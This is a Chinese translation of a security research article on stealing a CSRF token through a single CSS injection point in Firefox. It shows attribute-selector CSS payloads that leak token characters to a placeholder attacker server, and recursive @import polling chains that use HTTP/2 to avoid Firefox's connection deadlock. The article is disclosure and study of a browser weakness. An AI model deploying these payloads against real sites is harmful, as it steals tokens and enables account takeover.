原文:CSS data exfiltration in Firefox via a single injection point
几个月之前我在Firefox中发现了一个安全问题CVE-2019-17016。在分析该问题时,我想到一个在Firefox中通过CSS的单一注入点引发数据泄露的新技术。下面我将在这篇文章中与大家分享。
为了便于举例,假设我们想要泄露<input>元素中的CSRF令牌。
<input type="hidden" name="csrftoken" value="SOME_VALUE">
由于CSP的缘故,我们不能使用脚本,所以要想其他方法解决样式注入的问题。传统的方法是使用属性选择器,例如:
input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); }
按照CSS的应用规则,攻击者的服务器会收到一个HTTP请求,从而泄露令牌的第一个字符。之后要准备另一个包含第一个已知字符的样式表。例如:
input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); }
通常我们会假设,需要通过重新加载<iframe>中加载的页面来提供后续的样式表。</p> <p><a href="https://twitter.com/cgvwzq">Pepe Vila</a>于2018年提出了一个了不起的概念,通过滥用<a href="https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231">CSS递归导入</a>,我们可以用单一注入点在Chrome中实现相同的效果。Nathanial Lattimer(<a href="https://twitter.com/d0nutptr">@d0nutptr</a>)在2019年再次发现了这一技巧,但是<a href="https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b">略有不同</a>。我会在下面总结Lattimer的方法,因为这个方法和我提出的Firefox中的方法十分接近,尽管(十分有趣地)在此之前我并不了解Lattimer的研究。所以也可以说,我再再次的发现了……</p> <p>简而言之,第一次注入是一连串的导入(import):</p> <div class="highlight"><pre><span></span><span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(//</span><span class="nt">ATTACKER-SERVER</span><span class="o">/</span><span class="nt">polling</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">0</span><span class="o">)</span><span class="p">;</span> <span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(//</span><span class="nt">ATTACKER-SERVER</span><span class="o">/</span><span class="nt">polling</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">1</span><span class="o">)</span><span class="p">;</span> <span class="p">@</span><span class="k">import</span> <span class="nt">url</span><span class="o">(//</span><span class="nt">ATTACKER-SERVER</span><span class="o">/</span><span class="nt">polling</span><span class="o">?</span><span class="nt">len</span><span class="o">=</span><span class="nt">2</span><span class="o">)</span><span class="p">;</span> <span class="o">...</span> </pre></div> <p>接下来想法如下:</p> <ul> <li><p>最开始,只有第一个@import返回一个样式表,其他的直接阻塞连接;</p> </li> <li><p>第一个@import返回一个泄露了令牌第一个字符的样式表;</p> </li> <li><p>当第一个泄露的字符到达ATTACKER-SERVER时,第二个@import将停止阻塞并返回一个包含第一个字符的样式表,同时尝试泄露第二个字符;</p> </li> <li><p>当第二个泄露的字符到达ATTACKER-SERVER时,第三个@import将停止阻塞……依此类推。</p> </li> </ul> <p>这个方法之所以有效是因为Chrome进程异步处理导入,所以当任一导入停止阻塞时,Chrome会立即对其进行解析并应用。</p> <h2>Firefox以及样式表处理</h2> <p>上面的方法在Firefox中完全无法使用,因为Firefox对样式表的处理和Chrome不同。下面我会通过几个例子予以解释。</p> <p>首先,Firefox同步处理样式表。所以如果样式表中存在多个导入,在所有导入处理完之前,Firefox不会应用任何CSS规则。考虑下面的例子:</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">style</span><span class="p">></span> <span class="p">@</span><span class="k">import</span> <span class="s1">'/polling/0'</span><span class="p">;</span> <span class="p">@</span><span class="k">import</span> <span class="s1">'/polling/1'</span><span class="p">;</span> <span class="p">@</span><span class="k">import</span> <span class="s1">'/polling/2'</span><span class="p">;</span> <span class="p"></</span><span class="nt">style</span><span class="p">></span> </pre></div> <p>假设第一个@import返回的CSS规则会把背景设置为蓝色,与此同时下一个导入被阻塞(即其不返回任何内容,HTTP连接被挂起)。Chrome中,页面会立即变为蓝色,而Firefox中,什么都不会发生。</p> <p>可以通过将所有导入放在单独的<style>元素中来避免该问题:</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/0'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> <span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/1'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> <span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/2'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> </pre></div> <p>在上面的例子中,Firefox会分别处理各样式表,所以页面会马上变成蓝色,而其他的导入仍在后台进行处理。</p> <p>但是又会有另一个问题。假设我们要窃取10个字符的令牌:</p> <div class="highlight"><pre><span></span><span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/0'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> <span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/1'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> <span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/2'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> ... <span class="p"><</span><span class="nt">style</span><span class="p">>@</span><span class="k">import</span> <span class="s1">'/polling/10'</span><span class="p">;</</span><span class="nt">style</span><span class="p">></span> </pre></div> <p>Firefox会立刻排队处理所有的10个导入。第一个导入处理完后,Firefox会排队处理另一个带有泄露字符的请求。问题在于,这个请求会放在队列的尾端,而处理器默认最多只会维持对单个服务器的6个并发连接。所以这个带有泄露字符的请求永远无法到达服务器,因为与服务器之间还存在6个被阻塞的连接,于是陷入了死锁的状态。</p> <h2>解决方法:HTTP/2</h2> <p>TCP层强制限制6个连接数量,所以到单个服务器只能有6个并发TCP连接。这时我想到,HTTP/2可能会是个解决办法。如果你还没意识到HTTP/2带来的好处,它的一个主要卖点就是你可以在单个连接上发送多个HTTP请求(即多路传输<a href="https://stackoverflow.com/questions/36517829/what-does-multiplexing-mean-in-http-2">multiplexing</a>),从而大大提高了性能。</p> <p>Firefox在单个HTTP/2连接上也存在并发请求的限制,但该限制数量默认是100(在about:config的network.http.spdy.default-concurrent中定义)。如果需要更大值,我们可以强制Firefox使用其他主机名创建第二个TCP连接。例如,如果我建立100个对 <a href="https://localhost:3000">https://localhost:3000</a> 的连接以及50个对 <a href="https://127.0.0.1:3000">https://127.0.0.1:3000</a> 的连接,Firefox会创建两个TCP连接。</p> <h2>利用</h2> <p>现在我考虑好了构建一个有效利用的所有需求。下面是主要假设:</p> <ul> <li>利用代码会在HTTP/2上实现;</li> <li>端点(endpoint) /polling/:session/:index会返回一个CSS,泄露第index个字符。除非第index-1个字符已泄露,请求会被阻塞。参数session用于区分不同的泄露尝试;</li> <li>端点/leak/:session/:value用于泄露令牌。参数value是指被泄露的整个值,而不只是最后一个字符;</li> <li>为了强制Firefox建立两个TCP连接,一个端点通过 <a href="https://localhost:3000">https://localhost:3000</a> 到达,一个端点通过 <a href="https://127.0.0.1:3000">https://127.0.0.1:3000</a> 到达;</li> <li>端点/generate用于生成示例代码。</li> </ul> <p>我创建了一个<a href="https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/testbed.html">测试平台</a>,可以在这里通过数据泄露窃取CSRF令牌。你可以通过<a href="https://htmlpreview.github.io/?https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/testbed.html">这里</a>直接访问该平台。</p> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200309111111-a0afbe86-61b3-1.png" alt="image-1024x531.png"></p> <p><a href="https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/exploit.js">POC</a>已经上传到Github,视频验证在<a href="https://research.securitum.com/wp-content/uploads/sites/2/2020/02/firefox-leak.mp4">这里</a>。</p> <p>有趣的是,由于使用了HTTP/2,该漏洞利用的速度十分迅速,泄露整个令牌的时间不超过3秒。</p> <h2>总结</h2> <p>在这篇文章中,我证明了如果你有一个注入点并且不想重新加载页面,可以通过CSS泄露数据。该方法之所以有效归功于两个因素:</p> <ul> <li>@import规则需要分别放到不同的样式表中,以防止后面的导入阻止整个样式表的处理;</li> <li>为了绕过并发TCP连接数的限制,该漏洞利用需要在HTTP/2上执行。</li> </ul> </iframe>